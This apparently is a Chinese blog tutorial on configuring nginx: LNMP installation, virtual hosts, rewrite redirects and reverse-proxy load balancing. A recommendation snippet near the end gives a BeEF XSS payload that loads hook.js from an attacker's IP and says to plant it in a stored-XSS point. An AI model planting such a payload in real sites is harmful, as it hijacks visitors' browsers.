【Linux】nginx服务配置
一. 部署LNMP环境
准备工作 Linux系统准备
设置IP
关闭防火墙
yum源配置
安装: 传输软件包
1. tar -zxvf lnmp1.2-full.tar.gz
cd lnmp1.2-full
./install.sh lnmp
二. 实验1 虚拟主机
www.sina.com www.sohu.com
1.域名解析 (文件解析)
2.规划网站目录
mkdir /home/wwwroot/sina/
mkdir /home/wwwroot/sohu/
vim /home/wwwroot/sina/index.html
vim /home/wwwroot/sohu/index.html
3.修改配置文件
vim /usr/local/nginx/conf/nginx.conf
66 listen 80;
4.建立虚拟主机文件 v.conf
vim /usr/local/nginx/conf/vhost/v.conf
1 server {
2 listen 80;
3 server_name www.sina.com;
4 index index.html index.htm index.php;
5 root /home/wwwroot/sina;
6
7 include enable-php.conf;
8
9 }
10
11 server {
12 listen 80;
13 server_name www.sohu.com;
14 index index.html index.htm index.php;
15 root /home/wwwroot/sohu;
16
17 include enable-php.conf;
18
19 }
5.重启服务 测试
pkill -HUP nginx
测试 www.sina.com www.sohu.com
实验2 rewrite 重写/重定向
域名跳转 www.sina.com -> www.sohu.com
vim /usr/local/nginx/conf/vhost/v.conf
1 server {
2 listen 80;
3 server_name www.sina.com;
4 index index.html index.htm index.php;
5 root /home/wwwroot/sina;
6
7 include enable-php.conf;
8 location /nginx_status{
9 stub_status on;
10 access_log off;
11 }
12 if ($http_host = www.sina.com) {
13 rewrite (.*) http://www.sohu.com permanent;
14 }
15 }
重启服务
pkill -HUP nginx
测试
www.sina.com -> www.sohu.com
网页文件跳转
1.修改配置文件
vim /usr/local/nginx/conf/vhost/v.conf
1 server {
2 listen 80;
3 server_name www.sina.com;
4 index index.html index.htm index.php;
5 root /home/wwwroot/sina;
6
7 include enable-php.conf;
8 location /nginx_status{
9 stub_status on;
10 access_log off;
11 }
12
13 rewrite index(\d+).html /index.php?id=$1 last;
14 }
2.建立index.php 文件
vim /home/wwwroot/sina/index.php
<?php echo "Sina rewrite!" ?>
3.重启服务 测试
pkill -HUP nginx
测试 www.sina.com/index3.html
实验3 代理负载均衡 (反向代理)
准备: Nginx S 192.168.183.251
Apache S1 192.168.183.123
Apache S2 192.168.183.103
搭建步骤1.修改S Nginx 配置文件
vim /usr/local/nginx/conf/nginx.conf
66 upstream myweb1 {
67 server 192.168.183.123:80;
68 server 192.168.183.103:80;
69 }
70 server {
71 listen 80;
72 server_name www.sohu.com;
73 location / {
74 proxy_pass http://myweb1;
75 proxy_next_upstream http_500 http_502 http_503 error timeout invalid_header;
76 proxy_set_header Host $host;
77 proxy_set_header X-Forwarded-For $remote_addr;
78 }
79 }
2.配置S1 Apache 192.168.183.123 正常访问
登录到S1 关闭autoindex vhosts 功能
vim /usr/local/apache2/htdocs/index.html
S1111111111111
测试 192.168.183.123
3.配置S2 Apache 192.168.183.103 正常访问
登录到S1 关闭autoindex vhosts 功能
vim /usr/local/apache2/htdocs/index.html
S22222222222222
测试 192.168.183.103
4.重启S Nginx服务 测试
pkill -HUP nginx
测试 www.sohu.com
【Linux】nginx服务配置的更多相关文章
- linux Nginx服务开机自启
linux Nginx服务开机自启 Nginx 是一个很强大的高性能Web和反向代理服务器.虽然使用命令行可以对nginx进行各种操作,比如启动等,但是还是根据不太方便.下面介绍在linux下安装后, ...
- Linux ISCSI服务配置
Linux ISCSI服务配置,客户端进行访问 环境配置: server端 172.25.0.11 client端 172.25.0.10 配置ISCSI服务端 1.安装软件包 yum install ...
- Kali Linux常用服务配置教程获取IP地址
Kali Linux常用服务配置教程获取IP地址 下面以Kali Linux为例,演示获取IP地址的方法 (1)设置网络接口为自动获取IP地址.在Kali Linux的收藏夹中单击图标,将显示所有的程 ...
- Kali Linux常用服务配置教程启动DHCP服务
Kali Linux常用服务配置教程启动DHCP服务 通过前面的介绍,DHCP服务就配置好了.接下来,用户就可以使用该服务器来获取IP地址了.下面将对前面配置的服务进行测试. 1.启动DHCP服务 如 ...
- Kali Linux常用服务配置教程安装及配置DHCP服务
Kali Linux常用服务配置教程安装及配置DHCP服务 在Kali Linux中,默认没有安装DHCP服务.下面将介绍安装并配置DHCP服务的方法. 1.安装DHCP服务 在Kali Linux中 ...
- Kali Linux常用服务配置教程DHCP服务原理
Kali Linux常用服务配置教程DHCP服务原理 动态主机配置协议(Dynamic Host Configuration Protocol,简称DHCP)是一个局域网的网络协议,基于UDP协议工作 ...
- nginx服务配置---php服务接入
前言: 最近要搭建一个内部的wiki系统, 网上搜了一圈, 也从知乎上搜集了一些大神的评价和推荐. 重点找了几个开源的wiki系统, 不过发现他们都是采用php来实现的. 于是乎需要配置php环境, ...
- linux nginx服务 反向代理 负载均衡 nfs服务
一.nginx服务 1.首先软件停用firewall #systemctl stop firewalld stop:本次停用 disable:开机停用 enable:开机启用 #ps aux | gr ...
- Linux Nginx 安装配置
安装前准备工作 GCC编译器-程序代码编译工具! 首先检验你的服务器环境是否安装gcc,方法如下: #gcc 如果出现:gcc: no input files 证明已经安装过gcc编译工具! 如果出现 ...
随机推荐
- R调用C++示例
sourceCpp {Rcpp}:Source C++ Code from a File or String sourceCpp(file = "", code = NULL, e ...
- php通过单例模式使一个类只能创建一个对象。
单例模式也就是一个类只能创建出一个对象 首先你要知道它的基本思想为:三私一公! 何为三私一公? 1(私).防止用户通过构造方法创建对象,因此私有化构造方法. 2(公).创建一个公共静态函数用来进入 ...
- Beef xss神器
KALI中启动BEEFXSS PAYLOAD为 <script src=”http://攻击机IP:3000/hook.js”></script> 将攻击代码插入到存储型XSS ...
- Servlet(五)----ServletContext对象
## ServletContext对象 1.概念:代表整个web应用,可以和程序的容器(服务器)来通信 2.获取: 1.通过request对象获取 request.getServletContext ...
- python之道15
请实现一个装饰器,限制该函数被调用的频率,如10秒一次(借助于time模块,time.time())(面试题,有点难度,可先做其他) 答案 # 思路 运行不能用 import time def wra ...
- DeepMind爆出无监督表示学习模型BigBiGAN,GAN之父点赞!
[导读]今天,DeepMind爆出一篇重磅论文,引发学术圈热烈反响:基于最强图像生成器BigGAN,打造了BigBiGAN,在无监督表示学习和图像生成方面均实现了最先进的性能!Ian Goodfell ...
- Flutter 实现整个App变为灰色
在Flutter中实现整个App变为灰色是非常简单的,只需要在最外层的控件上包裹ColorFiltered,用法如下: @override Widget build(BuildContext cont ...
- 下拉框select->option中如何把参数传到视图函数中去
例子: <select name="p_id" id=""> {% for p in permissions %} <option value ...
- Vue的父子组件v-model双向绑定,父组件修改子组件中绑定的v-model属性
先来看下实现的效果,父组件中有个文本框,在点击下面按钮时弹出抽屉,抽屉里也有个文本框,文本框里的初始值要和父组件的文本框同步,并且修改抽屉里的文本框值时 父组件里的文本框值也要跟着改变 网上有大概三种 ...
- Activiti网关--并行网关
1.什么是并行网关 并行网关允许将流程分成多条分支,也可以把多条分支汇聚到一起,并行网关的功能是基于进 入和外出顺序流的: fork 分支: 并行后的所有外出顺序流,为每个顺序流都创建一个并发分支. ...